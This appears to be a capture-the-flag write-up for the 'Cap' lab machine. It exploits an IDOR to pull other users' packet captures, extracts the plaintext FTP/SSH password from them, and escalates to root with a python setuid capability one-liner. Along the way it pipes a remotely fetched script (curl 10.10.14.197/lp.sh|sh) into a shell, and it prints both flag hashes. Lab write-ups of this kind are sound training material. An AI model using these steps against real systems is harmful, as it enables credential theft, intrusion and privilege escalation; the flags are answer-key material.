Cap
Recon
HTTP (80)
The app allows to view Security Snapshots. /data/<id> is the snapshot. The url is vulnerable to IDOR meaning we can access other users snapshots.
Download other snapshots and sort them out:
└─$ curl http://10.10.10.245/download/[0-100] -O
└─$ find . -type f -exec mv {} {}.pcap \;
└─$ find . -type f -size 232c -delete # Not found HTML
└─$ find . -type f -size 24c -delete # Empty pcap
└─$ grep pass . -Rain | grep -avE 'function|\.fa|You missed'
./25.pcap:13678:~RwGET /change-password HTTP/1.1
./25.pcap:13971:~lw.GET /change_password HTTP/1.1
./25.pcap:14211:~zw;GET /changepassword HTTP/1.1
./25.pcap:38967:~GET /compass HTTP/1.1
./11.pcap:41094:ImGET /data/pass2go HTTP/1.1
./0.pcap:105:.form-signin input[type="password"] {
./0.pcap:141:Vw`J88
)E(su@@ԋ`x_P ~Vw`$KZZ
)EJsv@@ԋ`x_P 331 Please specify the password.
./0.pcap:144:JPASS Buck3tH4TF0RM3!Searching for common word such as pass reveals some kind of password 👀
Filter Wireshark with frame contains "Buck3tH4TF0RM3!"
220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
SYST
215 UNIX Type: L8
PORT 192,168,196,1,212,140
200 PORT command successful. Consider using PASV.
LIST
150 Here comes the directory listing.
226 Directory send OK.
PORT 192,168,196,1,212,141
200 PORT command successful. Consider using PASV.
LIST -al
150 Here comes the directory listing.
226 Directory send OK.
TYPE I
200 Switching to Binary mode.
PORT 192,168,196,1,212,143
200 PORT command successful. Consider using PASV.
RETR notes.txt
550 Failed to open file.
QUIT
221 Goodbye.
FTP (21)
└─$ ftp nathan@10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
229 Entering Extended Passive Mode (|||64160|)
150 Here comes the directory listing.
drwxr-xr-x 7 1001 1001 4096 Aug 17 16:09 .
drwxr-xr-x 3 0 0 4096 May 23 2021 ..
lrwxrwxrwx 1 0 0 9 May 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1001 1001 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Feb 25 2020 .bashrc
drwx------ 2 1001 1001 4096 May 23 2021 .cache
drwx------ 3 1001 1001 4096 Aug 17 08:14 .config
drwx------ 3 1001 1001 4096 Aug 17 16:59 .gnupg
drwxrwxr-x 3 1001 1001 4096 Aug 16 19:51 .local
-rw-r--r-- 1 1001 1001 807 Feb 25 2020 .profile
-rw------- 1 1001 1001 103 Aug 17 14:51 .python_history
-rw------- 1 1001 1001 782 Aug 16 20:49 .viminfo
drwxr-xr-x 3 1001 1001 4096 Aug 16 19:38 snap
-r-------- 1 1001 1001 33 Aug 16 19:26 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
...
ftp> mget .*
mget .bash_logout [anpqy?]? a
...User.txt
└─$ cat ftp/user.txt
0f26415cfb9397915f69857bdbdc975fSSH (22)
The credentials also work on ssh
└─$ ssh nathan@10.10.10.245
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)Run linpeas:
nathan@cap:/dev/shm$ curl 10.10.14.197/lp.sh|sh|tee lp.log
Privilege Escalation (root)
https://gtfobins.github.io/gtfobins/python/#capabilities
nathan@cap:/dev/shm$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
# cd /root
# ls -alh
total 36K
drwx------ 6 root root 4.0K Aug 16 19:26 .
drwxr-xr-x 20 root root 4.0K Jun 1 2021 ..
lrwxrwxrwx 1 root root 9 May 15 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3.1K Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4.0K May 23 2021 .cache
drwxr-xr-x 3 root root 4.0K May 23 2021 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwx------ 2 root root 4.0K May 23 2021 .ssh
lrwxrwxrwx 1 root root 9 May 27 2021 .viminfo -> /dev/null
-r-------- 1 root root 33 Aug 16 19:26 root.txt
drwxr-xr-x 3 root root 4.0K May 23 2021 snapRoot.txt
# cat root.txt
2833ddb81c19003db6124757574df82cLast updated